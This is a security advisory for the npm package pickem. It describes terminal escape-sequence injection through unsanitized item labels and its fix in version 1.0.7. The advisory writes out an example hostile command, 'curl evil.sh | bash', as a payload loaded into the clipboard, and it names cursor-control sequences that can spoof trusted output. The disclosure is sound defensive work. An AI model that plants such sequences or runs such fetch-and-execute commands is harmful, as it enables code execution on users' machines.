GHSA-8qx3-8gm5-9cj2 pickem vulnerable to terminal escape-sequence injection via unsanitized item text

Not scored Published

Attackers can inject terminal escape sequences via unsanitized item text to spoof UI or poison clipboard, leading to remote code execution when users paste commands.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Local or same network only
Victim action needed
A user has to click or open something
Fix
Available

What is GHSA-8qx3-8gm5-9cj2?

GHSA-8qx3-8gm5-9cj2 is a vulnerability in pickem, published on 25 Aug 2026. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link.

Official description

Impact

pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.

Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:

  • OSC 52 clipboard write — silently load e.g. curl evil.sh | bash into the user's clipboard; their next paste-into-shell is RCE.
  • Cursor-movement + erase (ESC[1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry).
  • BEL / C0 control flooding.

Any CLI that passes untrusted strings into pickem choices is affected.

Patches

Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.

Workarounds

Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.

Which versions are affected by GHSA-8qx3-8gm5-9cj2?

2 open source packages ship an affected version, including pickem.

PackageAffectedFixed in
pickem npmAll versions1.0.7
pickem npmAll versions1.0.7

How do I fix GHSA-8qx3-8gm5-9cj2?

Upgrade pickem to 1.0.7 or later.

Is GHSA-8qx3-8gm5-9cj2 being exploited?

There is no known exploitation of GHSA-8qx3-8gm5-9cj2 in the wild and no public exploit code.

Sources

Is GHSA-8qx3-8gm5-9cj2 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free